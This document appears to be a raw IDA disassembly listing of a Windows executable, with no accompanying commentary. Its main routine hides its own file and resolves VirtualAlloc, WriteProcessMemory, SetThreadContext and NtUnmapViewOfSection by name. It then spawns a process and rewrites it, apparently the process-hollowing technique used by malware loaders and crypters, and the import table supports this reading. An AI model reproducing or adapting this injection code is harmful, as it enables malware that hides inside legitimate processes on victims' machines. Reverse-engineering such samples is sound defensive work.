nShowCmd = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 528h
push ebx
push esi
push edi
push 100h ; nSize
lea eax, [ebp+FileName]
push eax ; lpFilename
xor ebx, ebx
push ebx ; hModule
call ds:GetModuleFileNameA ; GetModuleFileNameA
push ebx ; lpThreadId
push ebx ; dwCreationFlags
push ebx ; lpParameter
push offset StartAddress ; lpStartAddress
push ebx ; dwStackSize
push ebx ; lpThreadAttributes
call ds:CreateThread ; CreateThread
lea eax, [ebp+FileName]
push eax ; lpFileName
push ebx ; int
call sub_40188A
pop ecx
pop ecx
push 6 ; dwFileAttributes
lea eax, [ebp+FileName]
push eax ; lpFileName
call ds:SetFileAttributesA ; SetFileAttributesA
mov esi, ds:GetModuleHandleA
push offset aVirtualalloc ; "VirtualAlloc"
push offset ModuleName ; "kernel32.dll"
call esi ; GetModuleHandleA
mov edi, ds:GetProcAddress
push eax ; hModule
call edi ; GetProcAddress
mov [ebp+var_4], eax
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+flOldProtect]
push eax
lea eax, [ebp+var_2C]
push eax
lea eax, [ebp+var_7C]
push ebx
push eax
call sub_4011D1
add esp, 14h
test al, al
jz loc_401B5E
push [ebp+var_C]
lea eax, [ebp+flOldProtect]
push eax
lea eax, [ebp+var_2C]
push eax
lea eax, [ebp+var_7C]
push eax
call sub_4013B9
add esp, 10h
push 40h
push 1000h
push eax
push ebx
mov [ebp+var_8], eax
call [ebp+var_4]
push eax ; Dst
push [ebp+var_C] ; int
mov dword_4362B0, eax
lea eax, [ebp+flOldProtect]
push eax ; Size
push ebx ; int
lea eax, [ebp+var_2C]
push eax ; int
lea eax, [ebp+var_7C]
push eax ; int
call sub_40142E
push ebx
lea eax, [ebp+lpAddress]
push eax ; int
lea eax, [ebp+Context]
push eax ; lpContext
push ebx ; int
lea eax, [ebp+ProcessInformation]
push eax ; lpProcessInformation
lea eax, [ebp+FileName]
push eax ; lpCommandLine
call sub_40161C
add esp, 30h
push offset aWriteprocessme ; "WriteProcessMemory"
push offset ModuleName ; "kernel32.dll"
call esi ; GetModuleHandleA
push eax ; hModule
call edi ; GetProcAddress
push [ebp+dwSize] ; dwSize
mov [ebp+var_4], eax
push [ebp+lpAddress] ; lpAddress
mov ecx, 0B3h
sub esp, 2CCh
mov edi, esp
sub esp, 10h
lea esi, [ebp+Context]
rep movsd
mov edi, esp
lea eax, [ebp+FileName]
push eax ; int
push [ebp+var_8] ; int
lea esi, [ebp+ProcessInformation]
push dword_4362B0 ; int
movsd
push [ebp+var_C] ; int
movsd
lea eax, [ebp+flOldProtect]
push eax ; flOldProtect
push ebx ; int
lea eax, [ebp+var_2C]
movsd
push eax ; int
lea eax, [ebp+var_7C]
push eax ; int
movsd
call sub_4016F7
add esp, 304h
push ebx
push [ebp+var_8]
push dword_4362B0
push dword_4362C0
push dword_4362B4
call [ebp+var_4]
test eax, eax
setnz al
mov byte_4362B8, al
push [ebp+var_8]
push ebx
call sub_40185E
pop ecx
pop ecx
loc_401B5E: ; CODE XREF: WinMain(x,x,x,x)+8Bj
push 0BB8h ; dwMilliseconds
call ds:Sleep ; Sleep
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 10h
_WinMain@16 endp
; [00000046 BYTES: COLLAPSED FUNCTION __heap_alloc. PRESS KEYPAD "+" TO EXPAND]
; [0000002C BYTES: COLLAPSED FUNCTION __nh_malloc. PRESS KEYPAD "+" TO EXPAND]
; [00000012 BYTES: COLLAPSED FUNCTION _malloc. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000008B BYTES: COLLAPSED FUNCTION _strlen. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000060 BYTES: COLLAPSED FUNCTION _memset. PRESS KEYPAD "+" TO EXPAND]
; [0000000E BYTES: COLLAPSED FUNCTION operator new(uint). PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000033D BYTES: COLLAPSED FUNCTION _memcpy. PRESS KEYPAD "+" TO EXPAND]
; [00000022 BYTES: COLLAPSED FUNCTION __amsg_exit. PRESS KEYPAD "+" TO EXPAND]
pop ecx
pop ecx
retn
; [000001DC BYTES: COLLAPSED FUNCTION start. PRESS KEYPAD "+" TO EXPAND]
; [0000001A BYTES: COLLAPSED FUNCTION ___heap_select. PRESS KEYPAD "+" TO EXPAND]
; [00000051 BYTES: COLLAPSED FUNCTION __heap_init. PRESS KEYPAD "+" TO EXPAND]
; [00000048 BYTES: COLLAPSED FUNCTION ___sbh_heap_init. PRESS KEYPAD "+" TO EXPAND]
; [0000002B BYTES: COLLAPSED FUNCTION ___sbh_find_block. PRESS KEYPAD "+" TO EXPAND]
; [00000318 BYTES: COLLAPSED FUNCTION ___sbh_free_block. PRESS KEYPAD "+" TO EXPAND]
; [000000B7 BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_region. PRESS KEYPAD "+" TO EXPAND]
; [00000106 BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_group. PRESS KEYPAD "+" TO EXPAND]
; [000002DF BYTES: COLLAPSED FUNCTION ___sbh_resize_block. PRESS KEYPAD "+" TO EXPAND]
; [000002FC BYTES: COLLAPSED FUNCTION ___sbh_alloc_block. PRESS KEYPAD "+" TO EXPAND]
; [0000001B BYTES: COLLAPSED FUNCTION __callnewh. PRESS KEYPAD "+" TO EXPAND]
; [0000002F BYTES: COLLAPSED FUNCTION unknown_libname_1. PRESS KEYPAD "+" TO EXPAND]
db 0CCh
; [0000006A BYTES: COLLAPSED FUNCTION __cinit. PRESS KEYPAD "+" TO EXPAND]
; [000000C1 BYTES: COLLAPSED FUNCTION _doexit. PRESS KEYPAD "+" TO EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION _exit. PRESS KEYPAD "+" TO EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION __exit. PRESS KEYPAD "+" TO EXPAND]
; [0000000F BYTES: COLLAPSED FUNCTION __cexit. PRESS KEYPAD "+" TO EXPAND]
; [0000000F BYTES: COLLAPSED FUNCTION __c_exit. PRESS KEYPAD "+" TO EXPAND]
; [00000177 BYTES: COLLAPSED FUNCTION __NMSG_WRITE. PRESS KEYPAD "+" TO EXPAND]
; [00000039 BYTES: COLLAPSED FUNCTION __FF_MSGBANNER. PRESS KEYPAD "+" TO EXPAND]
; [00000171 BYTES: COLLAPSED FUNCTION __XcptFilter. PRESS KEYPAD "+" TO EXPAND]
; [0000005D BYTES: COLLAPSED FUNCTION __wincmdln. PRESS KEYPAD "+" TO EXPAND]
; [000000C7 BYTES: COLLAPSED FUNCTION __setenvp. PRESS KEYPAD "+" TO EXPAND]
; [0000016C BYTES: COLLAPSED FUNCTION _parse_cmdline. PRESS KEYPAD "+" TO EXPAND]
; [000000A2 BYTES: COLLAPSED FUNCTION __setargv. PRESS KEYPAD "+" TO EXPAND]
; [00000122 BYTES: COLLAPSED FUNCTION ___crtGetEnvironmentStringsA. PRESS KEYPAD "+" TO EXPAND]
; [000001AB BYTES: COLLAPSED FUNCTION __ioinit. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4038A2 proc near ; CODE XREF: start:loc_402155p
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
push 0Ch
push offset stru_4066D8
call __SEH_prolog
mov [ebp+var_1C], offset dword_406ECC
loc_4038B5: ; CODE XREF: sub_4038A2+3Cj
cmp [ebp+var_1C], offset dword_406ECC
jnb short loc_4038E0
and [ebp+ms_exc.disabled], 0
mov eax, [ebp+var_1C]
mov eax, [eax]
test eax, eax
jz short loc_4038D6
call eax
jmp short loc_4038D6
; ---------------------------------------------------------------------------
loc_4038CF: ; DATA XREF: .rdata:stru_4066D8o
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
loc_4038D3: ; DATA XREF: .rdata:stru_4066D8o
mov esp, [ebp+ms_exc.old_esp]
loc_4038D6: ; CODE XREF: sub_4038A2+27j
; sub_4038A2+2Bj
or [ebp+ms_exc.disabled], 0FFFFFFFFh
add [ebp+var_1C], 4
jmp short loc_4038B5
; ---------------------------------------------------------------------------
loc_4038E0: ; CODE XREF: sub_4038A2+1Aj
call __SEH_epilog
retn
sub_4038A2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; void __cdecl sub_4038E6()
sub_4038E6 proc near ; DATA XREF: __cinit:loc_402E52o
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
push 0Ch
push offset stru_4066E8
call __SEH_prolog
mov [ebp+var_1C], offset dword_406ED4
loc_4038F9: ; CODE XREF: sub_4038E6+3Cj
cmp [ebp+var_1C], offset dword_406ED4
jnb short loc_403924
and [ebp+ms_exc.disabled], 0
mov eax, [ebp+var_1C]
mov eax, [eax]
test eax, eax
jz short loc_40391A
call eax
jmp short loc_40391A
; ---------------------------------------------------------------------------
loc_403913: ; DATA XREF: .rdata:stru_4066E8o
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
loc_403917: ; DATA XREF: .rdata:stru_4066E8o
mov esp, [ebp+ms_exc.old_esp]
loc_40391A: ; CODE XREF: sub_4038E6+27j
; sub_4038E6+2Bj
or [ebp+ms_exc.disabled], 0FFFFFFFFh
add [ebp+var_1C], 4
jmp short loc_4038F9
; ---------------------------------------------------------------------------
loc_403924: ; CODE XREF: sub_4038E6+1Aj
call __SEH_epilog
retn
sub_4038E6 endp
; ---------------------------------------------------------------------------
align 4
; [0000003B BYTES: COLLAPSED FUNCTION __SEH_prolog. PRESS KEYPAD "+" TO EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION __SEH_epilog. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
push esi
inc ebx
xor dh, [eax]
pop eax
inc ebx
xor [eax], dh
; [000000E6 BYTES: COLLAPSED FUNCTION __except_handler3. PRESS KEYPAD "+" TO EXPAND]
; [0000001B BYTES: COLLAPSED FUNCTION _seh_longjmp_unwind(x). PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000003D BYTES: COLLAPSED FUNCTION __alloca_probe. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [0000033D BYTES: COLLAPSED FUNCTION _memcpy_0. PRESS KEYPAD "+" TO EXPAND]
; [00000082 BYTES: COLLAPSED FUNCTION __onexit. PRESS KEYPAD "+" TO EXPAND]
; [00000012 BYTES: COLLAPSED FUNCTION _atexit. PRESS KEYPAD "+" TO EXPAND]
; [00000028 BYTES: COLLAPSED FUNCTION ___onexitinit. PRESS KEYPAD "+" TO EXPAND]
; [000000F9 BYTES: COLLAPSED FUNCTION ___crtMessageBoxA. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000007 BYTES: COLLAPSED FUNCTION _strcpy. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000E8 BYTES: COLLAPSED FUNCTION _strcat. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000124 BYTES: COLLAPSED FUNCTION _strncpy. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; [0000001D BYTES: COLLAPSED CHUNK OF FUNCTION sub_404225. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_404211 proc near ; DATA XREF: .rdata:stru_406768o
xor eax, eax
inc eax
retn
sub_404211 endp
; =============== S U B R O U T I N E =======================================
sub_404215 proc near ; DATA XREF: .rdata:stru_406768o
mov esp, [ebp-18h]
sub_404215 endp ; sp-analysis failed
; [0000000C BYTES: COLLAPSED CHUNK OF FUNCTION sub_404225. PRESS KEYPAD "+" TO EXPAND]
db 0CCh
; [0000000E BYTES: COLLAPSED FUNCTION sub_404225. PRESS KEYPAD "+" TO EXPAND]
; [00000033 BYTES: COLLAPSED FUNCTION _x_ismbbtype. PRESS KEYPAD "+" TO EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION __ismbblead. PRESS KEYPAD "+" TO EXPAND]
; [0000002F BYTES: COLLAPSED FUNCTION _CPtoLCID. PRESS KEYPAD "+" TO EXPAND]
; [00000029 BYTES: COLLAPSED FUNCTION _setSBCS. PRESS KEYPAD "+" TO EXPAND]
; [0000018C BYTES: COLLAPSED FUNCTION _setSBUpLow. PRESS KEYPAD "+" TO EXPAND]
; [000001E6 BYTES: COLLAPSED FUNCTION __setmbcp. PRESS KEYPAD "+" TO EXPAND]
; [0000001E BYTES: COLLAPSED FUNCTION ___initmbctable. PRESS KEYPAD "+" TO EXPAND]
; [00000038 BYTES: COLLAPSED FUNCTION _free. PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000020 BYTES: COLLAPSED FUNCTION __global_unwind2. PRESS KEYPAD "+" TO EXPAND]
; [00000022 BYTES: COLLAPSED FUNCTION __unwind_handler. PRESS KEYPAD "+" TO EXPAND]
; [00000068 BYTES: COLLAPSED FUNCTION __local_unwind2. PRESS KEYPAD "+" TO EXPAND]
; [00000023 BYTES: COLLAPSED FUNCTION __abnormal_termination. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
__NLG_Notify1:
push ebx
push ecx
mov ebx, offset dword_408290
jmp short loc_404778
; [00000018 BYTES: COLLAPSED FUNCTION __NLG_Notify. PRESS KEYPAD "+" TO EXPAND]
; [00000229 BYTES: COLLAPSED FUNCTION __ValidateEH3RN. PRESS KEYPAD "+" TO EXPAND]
; [00000162 BYTES: COLLAPSED FUNCTION _realloc. PRESS KEYPAD "+" TO EXPAND]
; [00000038 BYTES: COLLAPSED FUNCTION __msize. PRESS KEYPAD "+" TO EXPAND]
; [00000066 BYTES: COLLAPSED FUNCTION ___security_init_cookie. PRESS KEYPAD "+" TO EXPAND]
; [00000147 BYTES: COLLAPSED FUNCTION ___security_error_handler. PRESS KEYPAD "+" TO EXPAND]
db 0CCh
; [000003BC BYTES: COLLAPSED FUNCTION ___crtLCMapStringA. PRESS KEYPAD "+" TO EXPAND]
; [000001BA BYTES: COLLAPSED FUNCTION ___crtGetStringTypeA. PRESS KEYPAD "+" TO EXPAND]
; [00000043 BYTES: COLLAPSED FUNCTION ___ansicp. PRESS KEYPAD "+" TO EXPAND]
; [000001C9 BYTES: COLLAPSED FUNCTION ___convertcp. PRESS KEYPAD "+" TO EXPAND]
; [000000E3 BYTES: COLLAPSED FUNCTION __resetstkoflw. PRESS KEYPAD "+" TO EXPAND]
; [0000007B BYTES: COLLAPSED FUNCTION _calloc. PRESS KEYPAD "+" TO EXPAND]
; [00000058 BYTES: COLLAPSED FUNCTION _atol. PRESS KEYPAD "+" TO EXPAND]
; [00000090 BYTES: COLLAPSED FUNCTION __ismbcspace. PRESS KEYPAD "+" TO EXPAND]
align 10h
__allmul:
mov eax, [esp+8]
mov ecx, [esp+10h]
or ecx, eax
mov ecx, [esp+0Ch]
jnz short loc_4056D9
mov eax, [esp+4]
mul ecx
retn 10h
; ---------------------------------------------------------------------------
loc_4056D9: ; CODE XREF: .text:004056CEj
push ebx
mul ecx
mov ebx, eax
mov eax, [esp+8]
mul dword ptr [esp+14h]
add ebx, eax
mov eax, [esp+8]
mul ecx
add edx, ebx
pop ebx
retn 10h
; [0000007E BYTES: COLLAPSED FUNCTION __isctype. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION RtlUnwind. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_405778 proc near ; DATA XREF: .data:00408008o
push offset aReadprocessmem ; "ReadProcessMemory"
push offset ModuleName ; "kernel32.dll"
call ds:GetModuleHandleA ; GetModuleHandleA
push eax ; hModule
call ds:GetProcAddress ; GetProcAddress
mov dword_4362C4, eax
retn
sub_405778 endp
; =============== S U B R O U T I N E =======================================
sub_405795 proc near ; DATA XREF: .data:0040800Co
push offset aSetthreadconte ; "SetThreadContext"
push offset ModuleName ; "kernel32.dll"
call ds:GetModuleHandleA ; GetModuleHandleA
push eax ; hModule
call ds:GetProcAddress ; GetProcAddress
mov dword_4362CC, eax
retn
sub_405795 endp
; =============== S U B R O U T I N E =======================================
sub_4057B2 proc near ; DATA XREF: .data:00408010o
push offset aNtunmapviewofs ; "NtUnmapViewOfSection"
push offset LibFileName ; "ntdll.dll"
call ds:GetModuleHandleA ; GetModuleHandleA
push eax ; hModule
call ds:GetProcAddress ; GetProcAddress
mov dword_4362C8, eax
retn
sub_4057B2 endp
; ---------------------------------------------------------------------------
align 40h
_text ends
; Section 2. (virtual address 00006000)
; Virtual size : 000014AA ( 5290.)
; Section size in file : 00001600 ( 5632.)
; Offset to raw data for section: 00004C00
; Flags 40000040: Data Readable
; Alignment : default
;
; Imports from KERNEL32.dll
;
; ===========================================================================
; Segment type: Externs
; _idata
; HMODULE __stdcall LoadLibraryA(LPCSTR lpLibFileName)
extrn LoadLibraryA:dword ; CODE XREF: sub_401000+27p
; ___crtMessageBoxA+18p
; DATA XREF: ...
; SIZE_T __stdcall VirtualQueryEx(HANDLE hProcess, LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength)
extrn VirtualQueryEx:dword ; CODE XREF: sub_401604+11p
; DATA XREF: sub_401604+11r
; BOOL __stdcall GetThreadContext(HANDLE hThread, LPCONTEXT lpContext)
extrn GetThreadContext:dword ; CODE XREF: sub_40161C+46p
; DATA XREF: sub_40161C+46r
; BOOL __stdcall CreateProcessA(LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation)
extrn CreateProcessA:dword ; CODE XREF: sub_40161C+2Ap
; DATA XREF: sub_40161C+2Ar
; HMODULE __stdcall GetModuleHandleA(LPCSTR lpModuleName)
extrn GetModuleHandleA:dword ; CODE XREF: sub_4016F7+E2p
; WinMain(x,x,x,x)+5Fp ...
; BOOL __stdcall VirtualProtectEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect)
extrn VirtualProtectEx:dword ; CODE XREF: sub_4016F7+3Ap
; DATA XREF: sub_4016F7+3Ar
; LPVOID __stdcall VirtualAllocEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
extrn VirtualAllocEx:dword ; CODE XREF: sub_4016F7+72p
; sub_4016F7+9Ep
; DATA XREF: ...
; DWORD __stdcall ResumeThread(HANDLE hThread)
extrn ResumeThread:dword ; CODE XREF: sub_40185E+Dp
; DATA XREF: sub_40185E+Dr
; BOOL __stdcall ReadFile(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped)
extrn ReadFile:dword ; CODE XREF: sub_40188A+52p
; DATA XREF: sub_40188A+52r
; DWORD __stdcall GetFileSize(HANDLE hFile, LPDWORD lpFileSizeHigh)
extrn GetFileSize:dword ; CODE XREF: sub_40188A+28p
; DATA XREF: sub_40188A+28r
; HANDLE __stdcall CreateFileA(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile)
extrn CreateFileA:dword ; CODE XREF: sub_40188A+1Bp
; DATA XREF: sub_40188A+1Br
; HANDLE __stdcall GetCurrentProcess()
extrn GetCurrentProcess:dword ; CODE XREF: _doexit+13p
; DATA XREF: _doexit+13r
; void __stdcall Sleep(DWORD dwMilliseconds)
extrn Sleep:dword ; CODE XREF: StartAddress+1Ep
; StartAddress+45p ...
; BOOL __stdcall SetFileAttributesA(LPCSTR lpFileName, DWORD dwFileAttributes)
extrn SetFileAttributesA:dword ; CODE XREF: WinMain(x,x,x,x)+49p
; DATA XREF: WinMain(x,x,x,x)+49r
; HANDLE __stdcall CreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId)
extrn CreateThread:dword ; CODE XREF: WinMain(x,x,x,x)+2Bp
; DATA XREF: WinMain(x,x,x,x)+2Br
; DWORD __stdcall GetModuleFileNameA(HMODULE hModule, LPCH lpFilename, DWORD nSize)
extrn GetModuleFileNameA:dword ; CODE XREF: WinMain(x,x,x,x)+1Bp
; __NMSG_WRITE+81p ...
; LPVOID __stdcall HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes)
extrn HeapAlloc:dword ; CODE XREF: __heap_alloc+3Ep
; ___sbh_heap_init+Dp ...
; void __stdcall GetStartupInfoA(LPSTARTUPINFOA lpStartupInfo)
extrn GetStartupInfoA:dword ; CODE XREF: start+160p
; __ioinit+57p
; DATA XREF: ...
; LPSTR __stdcall GetCommandLineA()
extrn GetCommandLineA:dword ; CODE XREF: start:loc_40216Ep
; DATA XREF: start:loc_40216Er
; BOOL __stdcall GetVersionExA(LPOSVERSIONINFOA lpVersionInformation)
extrn GetVersionExA:dword ; CODE XREF: start+20p
; DATA XREF: start+20r
; BOOL __stdcall HeapDestroy(HANDLE hHeap)
extrn HeapDestroy:dword ; CODE XREF: __heap_init+44p
; DATA XREF: __heap_init+44r
; HANDLE __stdcall HeapCreate(DWORD flOptions, SIZE_T dwInitialSize, SIZE_T dwMaximumSize)
extrn HeapCreate:dword ; CODE XREF: __heap_init+11p
; DATA XREF: __heap_init+11r
; BOOL __stdcall VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType)
extrn VirtualFree:dword ; CODE XREF: ___sbh_free_block+247p
; ___sbh_free_block+2A2p
; DATA XREF: ...
; BOOL __stdcall HeapFree(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem)
extrn HeapFree:dword ; CODE XREF: ___sbh_free_block+2B4p
; ___sbh_alloc_new_region+95p ...
; LPVOID __stdcall VirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
extrn VirtualAlloc:dword ; CODE XREF: ___sbh_alloc_new_region+7Ep
; ___sbh_alloc_new_group+52p ...
; LPVOID __stdcall HeapReAlloc(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem, SIZE_T dwBytes)
extrn HeapReAlloc:dword ; CODE XREF: ___sbh_alloc_new_region+27p
; _realloc+FDp ...
; void __stdcall ExitProcess(UINT uExitCode)
extrn ExitProcess:dword ; CODE XREF: unknown_libname_1+29p
; sub_404225-7p
; DATA XREF: ...
; FARPROC __stdcall GetProcAddress(HMODULE hModule, LPCSTR lpProcName)
extrn GetProcAddress:dword ; CODE XREF: sub_401000+40p
; sub_401000+4Bp ...
; BOOL __stdcall WriteFile(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped)
extrn WriteFile:dword ; CODE XREF: __NMSG_WRITE+155p
; DATA XREF: __NMSG_WRITE+155r
; HANDLE __stdcall GetStdHandle(DWORD nStdHandle)
extrn GetStdHandle:dword ; CODE XREF: __NMSG_WRITE+14Ep
; __ioinit+157p
; DATA XREF: ...
; LONG __stdcall UnhandledExceptionFilter(struct _EXCEPTION_POINTERS *ExceptionInfo)
extrn UnhandledExceptionFilter:dword ; CODE XREF: __XcptFilter+167p
; DATA XREF: __XcptFilter+167r
; BOOL __stdcall FreeEnvironmentStringsA(LPCH)
extrn FreeEnvironmentStringsA:dword
; CODE XREF: ___crtGetEnvironmentStringsA+113p
; DATA XREF: ___crtGetEnvironmentStringsA+113r
; LPCH __stdcall GetEnvironmentStrings()
extrn GetEnvironmentStrings:dword
; CODE XREF: ___crtGetEnvironmentStringsA:loc_4036ACp
; DATA XREF: ___crtGetEnvironmentStringsA:loc_4036ACr
; BOOL __stdcall FreeEnvironmentStringsW(LPWCH)
extrn FreeEnvironmentStringsW:dword
; CODE XREF: ___crtGetEnvironmentStringsA+C1p
; DATA XREF: ___crtGetEnvironmentStringsA+C1r
; int __stdcall WideCharToMultiByte(UINT CodePage, DWORD dwFlags, LPCWSTR lpWideCharStr, int cchWideChar, LPSTR lpMultiByteStr, int cbMultiByte, LPCSTR lpDefaultChar, LPBOOL lpUsedDefaultChar)
extrn WideCharToMultiByte:dword
; CODE XREF: ___crtGetEnvironmentStringsA+86p
; ___crtGetEnvironmentStringsA+A8p ...
; DWORD __stdcall GetLastError()
extrn GetLastError:dword
; CODE XREF: ___crtGetEnvironmentStringsA:loc_403605p
; ___crtLCMapStringA:loc_404D30p ...
; LPWCH __stdcall GetEnvironmentStringsW()
extrn GetEnvironmentStringsW:dword
; CODE XREF: ___crtGetEnvironmentStringsA+1Cp
; ___crtGetEnvironmentStringsA+52p
; DATA XREF: ...
; UINT __stdcall SetHandleCount(UINT uNumber)
extrn SetHandleCount:dword ; CODE XREF: __ioinit+19Cp
; DATA XREF: __ioinit+19Cr
; DWORD __stdcall GetFileType(HANDLE hFile)
extrn GetFileType:dword ; CODE XREF: __ioinit+FEp
; __ioinit+165p
; DATA XREF: ...
; UINT __stdcall GetACP()
extrn GetACP:dword ; CODE XREF: __setmbcp+42p
; DATA XREF: __setmbcp+42r
; UINT __stdcall GetOEMCP()
extrn GetOEMCP:dword ; CODE XREF: __setmbcp+2Bp
; DATA XREF: __setmbcp+2Br
; BOOL __stdcall GetCPInfo(UINT CodePage, LPCPINFO lpCPInfo)
extrn GetCPInfo:dword ; CODE XREF: _setSBUpLow+1Cp
; __setmbcp+93p ...
extrn __imp_RtlUnwind:dword ; DATA XREF: RtlUnwindr
; LONG __stdcall InterlockedExchange(volatile LONG *Target, LONG Value)
extrn InterlockedExchange:dword ; CODE XREF: __ValidateEH3RN+131p
; __ValidateEH3RN+196p ...
; SIZE_T __stdcall VirtualQuery(LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength)
extrn VirtualQuery:dword ; CODE XREF: __ValidateEH3RN+B3p
; __resetstkoflw+1Ap ...
; SIZE_T __stdcall HeapSize(HANDLE hHeap, DWORD dwFlags, LPCVOID lpMem)
extrn HeapSize:dword ; CODE XREF: __msize+30p
; DATA XREF: __msize+30r
; BOOL __stdcall QueryPerformanceCounter(LARGE_INTEGER *lpPerformanceCount)
extrn QueryPerformanceCounter:dword ; CODE XREF: ___security_init_cookie+43p
; DATA XREF: ___security_init_cookie+43r
; DWORD __stdcall GetTickCount()
extrn GetTickCount:dword ; CODE XREF: ___security_init_cookie+37p
; DATA XREF: ___security_init_cookie+37r
; DWORD __stdcall GetCurrentThreadId()
extrn GetCurrentThreadId:dword ; CODE XREF: ___security_init_cookie+2Fp
; DATA XREF: ___security_init_cookie+2Fr
; DWORD __stdcall GetCurrentProcessId()
extrn GetCurrentProcessId:dword ; CODE XREF: ___security_init_cookie+27p
; DATA XREF: ___security_init_cookie+27r
; void __stdcall GetSystemTimeAsFileTime(LPFILETIME lpSystemTimeAsFileTime)
extrn GetSystemTimeAsFileTime:dword ; CODE XREF: ___security_init_cookie+1Bp
; DATA XREF: ___security_init_cookie+1Br
; int __stdcall LCMapStringA(LCID Locale, DWORD dwMapFlags, LPCSTR lpSrcStr, int cchSrc, LPSTR lpDestStr, int cchDest)
extrn LCMapStringA:dword ; CODE XREF: ___crtLCMapStringA+2C3p
; ___crtLCMapStringA+344p ...
; int __stdcall MultiByteToWideChar(UINT CodePage, DWORD dwFlags, LPCSTR lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar)
extrn MultiByteToWideChar:dword ; CODE XREF: ___crtLCMapStringA+C0p
; ___crtLCMapStringA+141p ...
; int __stdcall LCMapStringW(LCID Locale, DWORD dwMapFlags, LPCWSTR lpSrcStr, int cchSrc, LPWSTR lpDestStr, int cchDest)
extrn LCMapStringW:dword ; CODE XREF: ___crtLCMapStringA+27p
; ___crtLCMapStringA+15Bp ...
; BOOL __stdcall GetStringTypeA(LCID Locale, DWORD dwInfoType, LPCSTR lpSrcStr, int cchSrc, LPWORD lpCharType)
extrn GetStringTypeA:dword ; CODE XREF: ___crtGetStringTypeA+19Cp
; DATA XREF: ___crtGetStringTypeA+19Cr
; BOOL __stdcall GetStringTypeW(DWORD dwInfoType, LPCWSTR lpSrcStr, int cchSrc, LPWORD lpCharType)
extrn GetStringTypeW:dword ; CODE XREF: ___crtGetStringTypeA+24p
; ___crtGetStringTypeA+128p
; DATA XREF: ...
; int __stdcall GetLocaleInfoA(LCID Locale, LCTYPE LCType, LPSTR lpLCData, int cchData)
extrn GetLocaleInfoA:dword ; CODE XREF: ___ansicp+20p
; DATA XREF: ___ansicp+20r
; BOOL __stdcall VirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect)
extrn VirtualProtect:dword ; CODE XREF: __resetstkoflw+D5p
; DATA XREF: __resetstkoflw+D5r
; void __stdcall GetSystemInfo(LPSYSTEM_INFO lpSystemInfo)
extrn GetSystemInfo:dword ; CODE XREF: __resetstkoflw+2Bp
; DATA XREF: __resetstkoflw+2Br
; BOOL __stdcall TerminateProcess(HANDLE hProcess, UINT uExitCode)
extrn TerminateProcess:dword ; CODE XREF: _doexit+1Ap
; DATA XREF: _doexit+1Ar
; BOOL __stdcall FreeLibrary(HMODULE hLibModule)
extrn FreeLibrary:dword ; CODE XREF: sub_401000+81p
; DATA XREF: sub_401000+81r
;
; Imports from USER32.dll
;
; HWND __stdcall FindWindowA(LPCSTR lpClassName, LPCSTR lpWindowName)
extrn FindWindowA:dword ; CODE XREF: StartAddress+12p
; StartAddress+23p
